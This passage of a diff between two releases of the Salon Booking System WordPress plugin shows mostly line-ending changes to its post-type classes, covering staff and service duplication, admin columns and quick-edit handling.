\"Upload\" to the media collection\r\n-\t\t$new_attachment_id = media_handle_sideload( $file_array, $new_post_id, $desc );\r\n-\r\n-\t\tif ( is_wp_error($new_attachment_id) ) {\r\n-\t\t\t@unlink($file_array['tmp_name']);\r\n-\t\t\tcontinue;\r\n-\t\t}\r\n-\t\t$new_post_author = wp_get_current_user();\r\n-\t\t$cloned_child = array(\r\n-\t\t\t\t'ID'           => $new_attachment_id,\r\n-\t\t\t\t'post_title'   => $child->post_title,\r\n-\t\t\t\t'post_exceprt' => $child->post_title,\r\n-\t\t\t\t'post_author'  => $new_post_author->ID\r\n-\t\t);\r\n-\t\twp_update_post( wp_slash($cloned_child) );\r\n-\r\n-\t\t$alt_title = get_post_meta($child->ID, '_wp_attachment_image_alt', true);\r\n-\t\tif($alt_title) update_post_meta($new_attachment_id, '_wp_attachment_image_alt', wp_slash($alt_title));\r\n-\r\n-\t\t\u002F\u002F if we have cloned the post thumbnail, set the copy as the thumbnail for the new post\r\n-\t\tif($old_thumbnail_id == $child->ID){\r\n-\t\t    set_post_thumbnail($new_post_id, $new_attachment_id);\r\n-\t\t}\r\n-\t    }\r\n-\r\n-\t    update_post_meta($new_post_id, '_sln_dp_original', $post->ID);\r\n-\t}\r\n-\r\n-\treturn $new_post_id;\r\n-    }\r\n-\r\n-\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+abstract class SLN_PostType_Abstract\n+{\n+    private $postType;\n+    private $plugin;\n+\n+    public function __construct(SLN_Plugin $plugin, $postType)\n+    {\n+        $this->plugin   = $plugin;\n+        $this->postType = $postType;\n+        $this->init();\n+        if(is_admin()){\n+            global $pagenow;\n+            if($pagenow == 'edit.php' && isset($_GET['post_type']) && $_GET['post_type'] == $this->getPostType()) {\n+                add_filter( 'wpseo_use_page_analysis', '__return_false' );\n+            }\n+        }\n+        add_filter('post_updated_messages', array($this, 'updated_messages'));\n+        add_filter('enter_title_here', array($this, 'enter_title_here'), 10, 2);\n+\n+\tadd_filter('post_row_actions', array($this, 'duplicateActionMakeLink'), 10, 2);\n+\tadd_action('admin_action_'. $postType. '_duplicate_post', array($this, 'duplicatePostSaveAsNewPost'));\n+    }\n+\n+    public function init()\n+    {\n+        register_post_type($this->getPostType(), $this->getPostTypeArgs());\n+    }\n+\n+    abstract protected function getPostTypeArgs();\n+\n+    abstract public function enter_title_here($title, $post);\n+\n+    abstract public function updated_messages($messages);\n+\n+    public function getPostType()\n+    {\n+        return $this->postType;\n+    }\n+\n+    \u002F**\n+     * @return SLN_Plugin\n+     *\u002F\n+    protected function getPlugin()\n+    {\n+        return $this->plugin;\n+    }\n+\n+    public function duplicateActionMakeLink($actions, $post) {\n+\n+\tif ($post->post_type === SLN_Plugin::POST_TYPE_ATTENDANT && current_user_can('edit_' . SLN_Plugin::POST_TYPE_ATTENDANT . 's') || $post->post_type === SLN_Plugin::POST_TYPE_SERVICE && current_user_can('edit_' . SLN_Plugin::POST_TYPE_SERVICE . 's')) {\n+\n+\t    $actions['clone'] = '\u003Ca href=\"'.$this->getDuplicateActionPostLink($post->ID).'\" title=\"'\n+\t\t\t\t. esc_attr__(\"Duplicate this item\", 'salon-booking-system')\n+\t\t\t\t. '\">' .  esc_html__('Duplicate', 'salon-booking-system') . '\u003C\u002Fa>';\n+\t}\n+\n+\treturn $actions;\n+    }\n+\n+    public function getDuplicateActionPostLink( $id = 0, $context = 'display') {\n+\n+\t$action_name = $this->postType . \"_duplicate_post\";\n+\n+\tif ( 'display' == $context ) {\n+\t    $action = '?action='.$action_name.'&amp;post='.$id;\n+\t} else {\n+\t    $action = '?action='.$action_name.'&post='.$id;\n+\t}\n+\n+\treturn wp_nonce_url(admin_url( \"admin.php\". $action ), 'sln_duplicate-post_' . $id);\n+    }\n+\n+    public function duplicatePostSaveAsNewPost() {\n+\n+\tif (! ( isset( $_GET['post']) || isset( $_POST['post'])  || ( isset($_REQUEST['action']) && 'sln_duplicate_post' == $_REQUEST['action'] ) ) ) {\n+\t    wp_die(esc_html__('No post to duplicate has been supplied!', 'salon-booking-system'));\n+\t}\n+\n+\t\u002F\u002F Get the original post\n+\t$id = (isset($_GET['post']) ? $_GET['post'] : $_POST['post']);\n+\n+\tcheck_admin_referer('sln_duplicate-post_' . $id);\n+\n+\t$post = get_post($id);\n+\n+\tif (!$post) {\n+\t    wp_die(esc_html__('Copy creation failed, could not find original:', 'salon-booking-system') . ' ' . esc_html(htmlspecialchars($id)));\n+\t}\n+\n+\tif(!($post->post_type === SLN_Plugin::POST_TYPE_ATTENDANT && current_user_can('edit_' . SLN_Plugin::POST_TYPE_ATTENDANT . 's')\n+\t\t|| $post->post_type === SLN_Plugin::POST_TYPE_SERVICE && current_user_can('edit_' . SLN_Plugin::POST_TYPE_SERVICE . 's'))) {\n+\t    wp_die(esc_html__('Current user is not allowed to copy posts.', 'salon-booking-system'));\n+\t}\n+\n+\t$new_id = $this->duplicatePostCreateDuplicate($post);\n+\n+\twp_redirect( add_query_arg( array( 'cloned' => 1, 'ids' => $post->ID), admin_url( 'post.php?action=edit&post=' . $new_id ) ) );\n+\n+\texit;\n+    }\n+\n+    public function duplicatePostCreateDuplicate($post) {\n+\n+\t$new_post_status = $post->post_status;\n+\n+\t$title = $post->post_title . ' ' . __('[Copy]');\n+\n+\tif ( 'publish' == $new_post_status || 'future' == $new_post_status ){\n+\t    \u002F\u002F check if the user has the right capability\n+\t    if(is_post_type_hierarchical( $post->post_type )){\n+\t\tif(!current_user_can('publish_pages')){\n+\t\t\t$new_post_status = 'pending';\n+\t\t}\n+\t    } else {\n+\t\tif(!current_user_can('publish_posts')){\n+\t\t\t$new_post_status = 'pending';\n+\t\t}\n+\t    }\n+\t}\n+\n+\t$new_post_author = wp_get_current_user();\n+\t$new_post_author_id = $new_post_author->ID;\n+\n+\t$menu_order = $post->menu_order + 1;\n+\n+\t$post_name = $post->post_name;\n+\n+\t$new_post = array(\n+\t    'menu_order'\t    => $menu_order,\n+\t    'comment_status'\t    => $post->comment_status,\n+\t    'ping_status'\t    => $post->ping_status,\n+\t    'post_author'\t    => $new_post_author_id,\n+\t    'post_content'\t    => $post->post_content,\n+\t    'post_content_filtered' => $post->post_content_filtered,\n+\t    'post_excerpt'\t    => $post->post_excerpt,\n+\t    'post_mime_type'\t    => $post->post_mime_type,\n+\t    'post_parent'\t    => $post->post_parent,\n+\t    'post_password'\t    => $post->post_password,\n+\t    'post_status'\t    => $new_post_status,\n+\t    'post_title'\t    => $title,\n+\t    'post_type'\t\t    => $post->post_type,\n+\t    'post_name'\t\t    => $post_name\n+\t);\n+\n+\t$new_post_id = wp_insert_post(wp_slash($new_post));\n+\n+\tif($new_post_id !== 0 && !is_wp_error($new_post_id)) {\n+\n+\t    $post_meta_keys = get_post_custom_keys($post->ID);\n+\t    $post_meta_keys = apply_filters('sln.post_type.duplicate_post_create_duplicate.meta_keys', $post_meta_keys, $post);\n+\n+\t    $meta_blacklist   = array();\n+\t    $meta_blacklist[] = '_edit_lock'; \u002F\u002F edit lock\n+\t    $meta_blacklist[] = '_edit_last'; \u002F\u002F edit lock\n+\n+\t    $meta_blacklist_string = '('.implode(')|(',$meta_blacklist).')';\n+\t    if(strpos($meta_blacklist_string, '*') !== false){\n+\t\t$meta_blacklist_string = str_replace(array('*'), array('[a-zA-Z0-9_]*'), $meta_blacklist_string);\n+\n+\t\t$meta_keys = array();\n+\t\tforeach($post_meta_keys as $meta_key){\n+\t\t\tif(!preg_match('#^'.$meta_blacklist_string.'$#', $meta_key))\n+\t\t\t\t$meta_keys[] = $meta_key;\n+\t\t}\n+\t    } else {\n+\t\t$meta_keys = array_diff($post_meta_keys, $meta_blacklist);\n+\t    }\n+\n+\t    foreach ($meta_keys as $meta_key) {\n+\t\t$meta_values = get_post_custom_values($meta_key, $post->ID);\n+\t\tforeach ($meta_values as $meta_value) {\n+\t\t    $meta_value = maybe_unserialize($meta_value);\n+\t\t    add_post_meta($new_post_id, $meta_key, wp_slash($meta_value));\n+\t\t}\n+\t    }\n+\n+\t    global $wpdb;\n+\n+\t    if (isset($wpdb->terms)) {\n+\t\t    \u002F\u002F Clear default category (added by wp_insert_post)\n+\t\t    wp_set_object_terms( $new_post_id, NULL, 'category' );\n+\n+\t\t    $post_taxonomies = get_object_taxonomies($post->post_type);\n+\t\t    \u002F\u002F several plugins just add support to post-formats but don't register post_format taxonomy\n+\t\t    if(post_type_supports($post->post_type, 'post-formats') && !in_array('post_format', $post_taxonomies)){\n+\t\t\t    $post_taxonomies[] = 'post_format';\n+\t\t    }\n+\n+\t\t    $taxonomies = $post_taxonomies;\n+\t\t    foreach ($taxonomies as $taxonomy) {\n+\t\t\t    $post_terms = wp_get_object_terms($post->ID, $taxonomy, array( 'orderby' => 'term_order' ));\n+\t\t\t    $terms = array();\n+\t\t\t    for ($i=0; $i\u003Ccount($post_terms); $i++) {\n+\t\t\t\t    $terms[] = $post_terms[$i]->slug;\n+\t\t\t    }\n+\t\t\t    wp_set_object_terms($new_post_id, $terms, $taxonomy);\n+\t\t    }\n+\t    }\n+\n+\t\u002F\u002F get thumbnail ID\n+\t$old_thumbnail_id = get_post_thumbnail_id($post->ID);\n+\t\u002F\u002F get children\n+\t$children = get_posts(array( 'post_type' => 'any', 'numberposts' => -1, 'post_status' => 'any', 'post_parent' => $post->ID ));\n+\t\u002F\u002F clone old attachments\n+\tforeach($children as $child){\n+\t\tif ($child->post_type != 'attachment') continue;\n+\t\t$url = wp_get_attachment_url($child->ID);\n+\t\t\u002F\u002F Let's copy the actual file\n+\t\t$tmp = download_url( $url );\n+\t\tif( is_wp_error( $tmp ) ) {\n+\t\t\t@unlink($tmp);\n+\t\t\tcontinue;\n+\t\t}\n+\n+\t\t$desc = wp_slash($child->post_content);\n+\n+\t\t$file_array = array();\n+\t\t$file_array['name'] = basename($url);\n+\t\t$file_array['tmp_name'] = $tmp;\n+\t\t\u002F\u002F \"Upload\" to the media collection\n+\t\t$new_attachment_id = media_handle_sideload( $file_array, $new_post_id, $desc );\n+\n+\t\tif ( is_wp_error($new_attachment_id) ) {\n+\t\t\t@unlink($file_array['tmp_name']);\n+\t\t\tcontinue;\n+\t\t}\n+\t\t$new_post_author = wp_get_current_user();\n+\t\t$cloned_child = array(\n+\t\t\t\t'ID'           => $new_attachment_id,\n+\t\t\t\t'post_title'   => $child->post_title,\n+\t\t\t\t'post_exceprt' => $child->post_title,\n+\t\t\t\t'post_author'  => $new_post_author->ID\n+\t\t);\n+\t\twp_update_post( wp_slash($cloned_child) );\n+\n+\t\t$alt_title = get_post_meta($child->ID, '_wp_attachment_image_alt', true);\n+\t\tif($alt_title) update_post_meta($new_attachment_id, '_wp_attachment_image_alt', wp_slash($alt_title));\n+\n+\t\t\u002F\u002F if we have cloned the post thumbnail, set the copy as the thumbnail for the new post\n+\t\tif($old_thumbnail_id == $child->ID){\n+\t\t    set_post_thumbnail($new_post_id, $new_attachment_id);\n+\t\t}\n+\t    }\n+\n+\t    update_post_meta($new_post_id, '_sln_dp_original', $post->ID);\n+\t}\n+\n+\treturn $new_post_id;\n+    }\n+\n+\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,376 +1,376 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.Security.EscapeOutput.OutputNotEscaped\r\n-class SLN_PostType_Attendant extends SLN_PostType_Abstract {\r\n-\r\n-\tpublic function init() {\r\n-\t\tparent::init();\r\n-\r\n-\t\tif (is_admin()) {\r\n-\t\t\tadd_action('pre_get_posts', array($this, 'admin_posts_sort'));\r\n-\t\t\tadd_action('wp_insert_post', array($this, 'wp_insert_post'));\r\n-\t\t\tadd_action('manage_' . $this->getPostType() . '_posts_custom_column', array($this, 'manage_column'), 10, 2);\r\n-\t\t\tadd_filter('manage_' . $this->getPostType() . '_posts_columns', array($this, 'manage_columns'));\r\n-\t\t\tadd_filter('manage_edit-' . $this->getPostType() . '_sortable_columns', array($this, 'custom_columns_sort'));\r\n-\t\t\tadd_action('admin_head-post-new.php', array($this, 'posttype_admin_css'));\r\n-\t\t\tadd_action('admin_head-post.php', array($this, 'posttype_admin_css'));\r\n-\t\t\tadd_action('admin_enqueue_scripts', array($this, 'load_scripts'));\r\n-\t\t\tadd_action('wp_ajax_sln_attendant', array($this, 'ajax'));\r\n-\t\t\tadd_action('quick_edit_custom_box', array($this, 'quick_edit_custom_box'), 10, 2);\r\n-\t\t\tadd_action('save_post', array($this, 'save_post'), 50);\r\n-\t\t}\r\n-\t}\r\n-\r\n-\tpublic function custom_columns_sort($columns) {\r\n-\t\t$custom = array(\r\n-\t\t\t'title' => 'title',\r\n-\t\t);\r\n-\t\treturn $custom;\r\n-\t}\r\n-\r\n-\t\u002F**\r\n-\t * @param WP_Query $query\r\n-\t *\u002F\r\n-\tfunction admin_posts_sort($query) {\r\n-\t\tglobal $pagenow, $post_type;\r\n-\t\tif (\r\n-\t\t\tis_admin() && 'edit.php' == $pagenow \r\n-\t\t\t&& $post_type == $this->getPostType()\r\n-            && (is_array($query->get('post_type')) ? in_array($this->getPostType(), $query->get('post_type')) : $query->get('post_type') === $this->getPostType()) \r\n-\t\t\t&& $query->get('orderby') !== 'title'\r\n-\t\t) {\r\n-\t\t\t\u002F** @var SLN_Repository_AttendantRepository $repo *\u002F\r\n-\t\t\t$repo = $this->getPlugin()->getRepository($this->getPostType());\r\n-\t\t\tforeach ($repo->getStandardCriteria() as $k => $v) {\r\n-\t\t\t\t$query->set($k, $v);\r\n-\t\t\t}\r\n-\r\n-            if ( in_array(SLN_Plugin::USER_ROLE_WORKER,  wp_get_current_user()->roles) ) {\r\n-                $meta_query   = $query->get('meta_query') ? array($query->get('meta_query')) : array();\r\n-                $meta_query[] = array(\r\n-                    'key'   => '_sln_attendant_staff_member_id',\r\n-                    'value' => get_current_user_id(),\r\n-                    'compare' => '=',\r\n-                );\r\n-                $query->set('meta_query', $meta_query);\r\n-            }\r\n-\r\n-\t\t\t$this->setPostsOrderByFilter();\r\n-\t\t}\r\n-\t}\r\n-\r\n-\tpublic function setPostsOrderByFilter() {\r\n-\t\tadd_filter('posts_orderby', array($this, 'postsOrderby'), 10, 2);\r\n-\t}\r\n-\r\n-\t\u002F**\r\n-\t * @param string $orderby\r\n-\t * @param WP_Query $query\r\n-\t *\r\n-\t * @return string\r\n-\t *\u002F\r\n-\tpublic function postsOrderby($orderby, $query) {\r\n-\t\tglobal $wpdb;\r\n-\t\tremove_filter('posts_orderby', array($this, 'postsOrderby'), 10);\r\n-\r\n-\t\treturn str_replace(\"{$wpdb->postmeta}.meta_value\", \"CAST({$wpdb->postmeta}.meta_value AS DECIMAL)\", $orderby);\r\n-\t}\r\n-\r\n-\tpublic function load_scripts($hook) {\r\n-\t\twp_enqueue_script('jquery-ui-core');\r\n-\t\twp_enqueue_script('jquery-ui-sortable');\r\n-\r\n-\t\tif ('edit.php' === $hook &&\r\n-\t\t\tisset($_GET['post_type']) &&\r\n-\t\t\t$this->getPostType() === $_GET['post_type']) {\r\n-\r\n-\t\t\twp_enqueue_script('salon-admin-attendant-edit-js', SLN_PLUGIN_URL . '\u002Fjs\u002Fadmin\u002FadminAttendantEdit.js', array('jquery'), SLN_Action_InitScripts::ASSETS_VERSION, true);\r\n-                }\r\n-\r\n-\t}\r\n-\r\n-\tpublic function wp_insert_post($post_id, $wp_error = false) {\r\n-\t\tglobal $post_type;\r\n-\r\n-\t\tif ($post_type == $this->getPostType()) {\r\n-\t\t\tif (!get_post_meta($post_id, '_sln_attendant_order', true)) {\r\n-\t\t\t\t$count_pages = wp_count_posts($this->getPostType());\r\n-\t\t\t\t$pos = $count_pages->publish + 1;\r\n-\t\t\t\tadd_post_meta($post_id, '_sln_attendant_order', $pos, true);\r\n-\t\t\t}\r\n-\t\t}\r\n-\t}\r\n-\r\n-\tpublic function ajax() {\r\n-\t\tif(!current_user_can('edit_sln_attendants')){\r\n-            wp_die('\u003Cp>' . esc_html__('Sory, you not allowed to ajax.'). '\u003C\u002Fp>', 403);\r\n-        }\r\n-\t\tif (isset($_POST['method'])) {\r\n-\t\t\t$method = 'ajax_' . sanitize_text_field(wp_unslash($_POST['method']));\r\n-\t\t\tif (method_exists($this, $method)) {\r\n-\t\t\t\t$this->$method();\r\n-\t\t\t}\r\n-\t\t}\r\n-\t\tdie();\r\n-\t}\r\n-\r\n-\tpublic function ajax_save_position() {\r\n-\t\tparse_str(sanitize_text_field(wp_unslash($_POST['data'])), $params);\r\n-\r\n-\t\tif (!isset($params['positions'])) {\r\n-\t\t\treturn;\r\n-\t\t}\r\n-\r\n-\t\tforeach (explode(',', $params['positions']) as $item) {\r\n-\t\t\tlist($post_id, $pos) = explode('_', $item);\r\n-\t\t\tupdate_post_meta($post_id, '_sln_attendant_order', $pos);\r\n-\t\t}\r\n-\t}\r\n-\r\n-\tpublic function manage_columns($columns) {\r\n-\r\n-\t\t$new_columns = array(\r\n-\t\t\t'cb' => $columns['cb'],\r\n-\t\t\t'ID' => __('Attendant ID', 'salon-booking-system'),\r\n-\t\t\t'sln_thumb' => __('Thumbnail', 'salon-booking-system'),\r\n-\t\t\t'title' => $columns['title'],\r\n-\t\t\t'sln_services' => __('Skills', 'salon-booking-system'),\r\n-\t\t\t'sln_email' => __('Email', 'salon-booking-system'),\r\n-\t\t\t'sln_phone' => __('Telephone', 'salon-booking-system'),\r\n-\t\t\t'sln_days_off' => __('Availability', 'salon-booking-system'),\r\n-\t\t);\r\n-\u002F\u002F        return array_merge(\r\n-\t\t\u002F\u002F            $columns,\r\n-\t\t\u002F\u002F            array(\r\n-\t\t\u002F\u002F            )\r\n-\t\t\u002F\u002F        );\r\n-\t\treturn $new_columns;\r\n-\t}\r\n-\r\n-\tpublic function manage_column($column, $post_id) {\r\n-\t\t$obj = $this->getPlugin()->createAttendant($post_id);\r\n-\t\tswitch ($column) {\r\n-\t\tcase 'ID':\r\n-\t\t\techo edit_post_link($post_id, '\u003Cp>', '\u003C\u002Fp>', $post_id);\r\n-\t\t\tbreak;\r\n-\t\tcase 'sln_email':\r\n-\t\t\techo $obj->getEmail();\r\n-\t\t\tbreak;\r\n-\t\tcase 'sln_phone':\r\n-\t\t\techo $obj->getPhone();\r\n-\t\t\tbreak;\r\n-\t\tcase 'sln_days_off':\r\n-\t\t\techo implode('\u003Cbr\u002F>', $obj->getAvailabilityItems()->toArray());\r\n-\t\t\tbreak;\r\n-\t\tcase 'sln_services':\r\n-\t\t\tif ($obj->hasAllServices()) {\r\n-\t\t\t\techo esc_html__(\"All\", 'salon-booking-system');\r\n-\t\t\t} else {\r\n-\t\t\t\t$tmp = array();\r\n-\t\t\t\techo '\u003Cdiv class=\"sln-service__collapse closed\">';\r\n-\t\t\t\tforeach ($obj->getServices() as $s) {\r\n-\t\t\t\t\t$tmp[] = sprintf('\u003Ca href=\"%s\" class=\"sln-service\" data-id=\"%s\">%s\u003C\u002Fa>', get_edit_post_link($s->getId()), $s->getId(), $s->getName());\r\n-\t\t\t\t}\r\n-\t\t\t\techo implode(', ', $tmp);\r\n-\t\t\t\techo '\u003C\u002Fdiv>\u003Ca href=\"#nogo\" class=\"sln-service__collapsetrigger\">\u003Cspan class=\"sr-only\">more\u003C\u002Fspan>\u003C\u002Fa>';\r\n-\t\t\t}\r\n-\t\t\tbreak;\r\n-\t\tcase 'sln_thumb':\r\n-\t\t\techo get_the_post_thumbnail($post_id, array(70, 70));\r\n-\t\t\tbreak;\r\n-\t\t}\r\n-\t}\r\n-\r\n-\tpublic function enter_title_here($title, $post) {\r\n-\r\n-\t\tif ($this->getPostType() === $post->post_type) {\r\n-\t\t\t$title = __('Enter the assistant name', 'salon-booking-system');\r\n-\t\t}\r\n-\r\n-\t\treturn $title;\r\n-\t}\r\n-\r\n-\tpublic function updated_messages($messages) {\r\n-\t\tglobal $post, $post_ID;\r\n-\r\n-\t\t$messages[$this->getPostType()] = array(\r\n-\t\t\t0 => '', \u002F\u002F Unused. Messages start at index 1.\r\n-\t\t\t1 => sprintf(\r\n-\t\t\t\t__('Assistant updated.', 'salon-booking-system')\r\n-\t\t\t),\r\n-\t\t\t2 => '',\r\n-\t\t\t3 => '',\r\n-\t\t\t4 => __('Assistant updated.', 'salon-booking-system'),\r\n-\t\t\t5 => isset($_GET['revision']) ? sprintf(\r\n-                \u002F\u002F translators: %s will be replaced by the revision title\r\n-\t\t\t\t__('Assistant restored to revision from %s', 'salon-booking-system'),\r\n-\t\t\t\twp_post_revision_title((int) $_GET['revision'], false)\r\n-\t\t\t) : false,\r\n-\t\t\t6 => sprintf(\r\n-\t\t\t\t__('Assistant published.', 'salon-booking-system')\r\n-\t\t\t),\r\n-\t\t\t7 => __('Assistant saved.', 'salon-booking-system'),\r\n-\t\t\t8 => sprintf(\r\n-\t\t\t\t__('Assistant submitted.', 'salon-booking-system')\r\n-\t\t\t),\r\n-\t\t\t9 => sprintf(\r\n-                \u002F\u002F translators: %s will be replaced by the date\r\n-\t\t\t\t__(\r\n-\t\t\t\t\t'Assistant scheduled for: \u003Cstrong>%1$s\u003C\u002Fstrong>. ',\r\n-\t\t\t\t\t'salon-booking-system'\r\n-\t\t\t\t),\r\n-\t\t\t\tSLN_TimeFunc::translateDate(__('M j, Y @ G:i', 'salon-booking-system'), SLN_TimeFunc::getPostTimestamp($post))\r\n-\t\t\t),\r\n-\t\t\t10 => sprintf(\r\n-\t\t\t\t__('Assistant draft updated.', 'salon-booking-system')\r\n-\t\t\t),\r\n-\t\t);\r\n-\r\n-\t\treturn $messages;\r\n-\t}\r\n-\r\n-\tprotected function getPostTypeArgs() {\r\n-\t\treturn array(\r\n-\t\t\t'public' => true,\r\n-\t\t\t'publicly_queryable' => true,\r\n-\t\t\t'exclude_from_search' => true,\r\n-\t\t\t'show_in_menu' => 'salon',\r\n-\t\t\t'rewrite' => true,\r\n-\t\t\t'supports' => array(\r\n-\t\t\t\t'title',\r\n-\t\t\t\t'excerpt',\r\n-\t\t\t\t'thumbnail',\r\n-\t\t\t\t'revisions',\r\n-\t\t\t),\r\n-\t\t\t'labels' => array(\r\n-\t\t\t\t'name' => __('Assistants', 'salon-booking-system'),\r\n-\t\t\t\t'singular_name' => __('Assistant', 'salon-booking-system'),\r\n-\t\t\t\t'menu_name' => __('Salon', 'salon-booking-system'),\r\n-\t\t\t\t'name_admin_bar' => __('Salon Assistant', 'salon-booking-system'),\r\n-\t\t\t\t'all_items' => __('Assistants', 'salon-booking-system'),\r\n-\t\t\t\t'add_new' => __('Add Assistant', 'salon-booking-system'),\r\n-\t\t\t\t'add_new_item' => __('Add New Assistant', 'salon-booking-system'),\r\n-\t\t\t\t'edit_item' => __('Edit Assistant', 'salon-booking-system'),\r\n-\t\t\t\t'new_item' => __('New Assistant', 'salon-booking-system'),\r\n-\t\t\t\t'view_item' => __('View Assistant', 'salon-booking-system'),\r\n-\t\t\t\t'search_items' => __('Search Assistants', 'salon-booking-system'),\r\n-\t\t\t\t'not_found' => __('No assistants found', 'salon-booking-system'),\r\n-\t\t\t\t'not_found_in_trash' => __('No assistants found in trash', 'salon-booking-system'),\r\n-\t\t\t\t'archive_title' => __('Assistants Archive', 'salon-booking-system'),\r\n-\t\t\t),\r\n-\t\t\t'capability_type' => array($this->getPostType(), $this->getPostType() . 's'),\r\n-\t\t\t'map_meta_cap' => true,\r\n-            'capabilities' => array(\r\n-                'create_posts' => 'create_' . $this->getPostType().'s',\r\n-            ),\r\n-\t\t);\r\n-\t}\r\n-\r\n-\tpublic function posttype_admin_css() {\r\n-\t\tglobal $post_type;\r\n-\t\tif ($post_type == SLN_Plugin::POST_TYPE_SERVICE) {\r\n-\t\t\t$this->getPlugin()->loadView('metabox\u002F_attendant_head');\r\n-\t\t}\r\n-\t}\r\n-\r\n-\tpublic function quick_edit_custom_box($column_name, $post_type) {\r\n-\r\n-\t\tif ($this->getPostType() !== $post_type || $column_name !== 'sln_email') {\r\n-\t\t\treturn;\r\n-\t\t}\r\n-\r\n-\t\t$sRepo = $this->getPlugin()->getRepository(SLN_Plugin::POST_TYPE_SERVICE);\r\n-\t\t$services = $sRepo->getAll();\r\n-\r\n-\t\tusort($services, function ($service1, $service2) {\r\n-\r\n-\t\t\t$service1Title = strtolower($service1->getName());\r\n-\t\t\t$service2Title = strtolower($service2->getName());\r\n-\r\n-\t\t\tif ($service1Title === $service2Title) {\r\n-\t\t\t\treturn 0;\r\n-\t\t\t}\r\n-\r\n-\t\t\treturn $service1Title > $service2Title ? 1 : -1;\r\n-\t\t});\r\n-\r\n-\t\t?>\r\n-\r\n-\t    \u003C?php wp_nonce_field(plugin_basename(__FILE__), 'sln_attendant_edit_nonce');?>\r\n-\r\n-\t    \u003Cfieldset class=\"inline-edit-col-left sln-inline-attendant-edit-col\">\r\n-\t\t\u003Clegend class=\"inline-edit-legend\">\u003C?php echo esc_html__('Quick Edit'); ?>\u003C\u002Flegend>\r\n-\t\t\u003Cdiv class=\"inline-edit-col\">\r\n-\t\t    \u003Clabel>\r\n-\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Title');?>\u003C\u002Fspan>\r\n-\t\t\t\u003Cspan class=\"input-text-wrap\">\u003Cinput type=\"text\" name=\"sln_post_title\" class=\"ptitle\" value=\"\" \u002F>\u003C\u002Fspan>\r\n-\t\t    \u003C\u002Flabel>\r\n-\t\t\u003C\u002Fdiv>\r\n-\t\t\u003Cdiv class=\"inline-edit-col\">\r\n-\t\t    \u003Clabel>\r\n-\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Email');?>\u003C\u002Fspan>\r\n-\t\t\t\u003Cspan class=\"input-text-wrap\">\u003Cinput type=\"text\" name=\"sln_email\" value=\"\" \u002F>\u003C\u002Fspan>\r\n-\t\t    \u003C\u002Flabel>\r\n-\t\t\u003C\u002Fdiv>\r\n-\t\t\u003Cdiv class=\"inline-edit-col\">\r\n-\t\t    \u003Clabel>\r\n-\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Phone');?>\u003C\u002Fspan>\r\n-\t\t\t\u003Cspan class=\"input-text-wrap\">\u003Cinput type=\"text\" name=\"sln_phone\" value=\"\" \u002F>\u003C\u002Fspan>\r\n-\t\t    \u003C\u002Flabel>\r\n-\t\t\u003C\u002Fdiv>\r\n-\t    \u003C\u002Ffieldset>\r\n-\r\n-\t    \u003Cfieldset class=\"inline-edit-col-right sln-inline-attendant-edit-col\">\r\n-\t\t\u003Cdiv class=\"inline-edit-col\">\r\n-\t\t    \u003Clabel class=\"alignleft\">\r\n-\t\t\t\u003Cspan class=\"title\">\u003C?php esc_html_e('Skills');?>\u003C\u002Fspan>\r\n-\t\t\t\u003Cselect name=\"sln_services[]\" multiple=\"multiple\">\r\n-\t\t\t    \u003C?php foreach ($services as $service): ?>\r\n-\t\t\t\t\u003C?php if (!$service->isAttendantsEnabled()) {\r\n-\t\t\tcontinue;\r\n-\t\t}\r\n-\t\t?>\r\n-\t\t\t\t\u003Coption value=\"\u003C?php echo $service->getId() ?>\">\r\n-\t\t\t\t    \u003C?php echo $service->getName(); ?>\r\n-\t\t\t\t    (\u003C?php echo $this->getPlugin()->format()->money($service->getPrice()) ?>)\r\n-\t\t\t\t\u003C\u002Foption>\r\n-\t\t\t    \u003C?php endforeach?>\r\n-\t\t\t\u003C\u002Fselect>\r\n-\t\t    \u003C\u002Flabel>\r\n-\t\t\u003C\u002Fdiv>\r\n-\t    \u003C\u002Ffieldset>\r\n-\r\n-\t\u003C?php\r\n-}\r\n-\r\n-\tpublic function save_post($post_id) {\r\n-\r\n-\t\tif (!isset($_POST['action']) || $_POST['action'] !== 'inline-save') {\r\n-\t\t\treturn;\r\n-\t\t}\r\n-\r\n-\t\t$post_type = get_post_type($post_id);\r\n-\r\n-\t\tif ($this->getPostType() !== $post_type) {\r\n-\t\t\treturn;\r\n-\t\t}\r\n-\r\n-\t\tif (!current_user_can('edit_post', $post_id)) {\r\n-\t\t\treturn;\r\n-\t\t}\r\n-\r\n-\t\tif (!wp_verify_nonce($_POST[\"sln_attendant_edit_nonce\"], plugin_basename(__FILE__))) {\r\n-\t\t\treturn;\r\n-\t\t}\r\n-\r\n-\t\tremove_action('save_post', array($this, 'save_post'), 50);\r\n-\r\n-\t\tupdate_post_meta($post_id, '_' . $this->getPostType() . '_email', isset($_POST['sln_email']) ? $_POST['sln_email'] : '');\r\n-\t\tupdate_post_meta($post_id, '_' . $this->getPostType() . '_phone', isset($_POST['sln_phone']) ? $_POST['sln_phone'] : '');\r\n-\t\tupdate_post_meta($post_id, '_' . $this->getPostType() . '_services', isset($_POST['sln_services']) ? $_POST['sln_services'] : array());\r\n-\r\n-\t\twp_update_post(array(\r\n-\t\t\t'ID' => $post_id,\r\n-\t\t\t'post_title' => 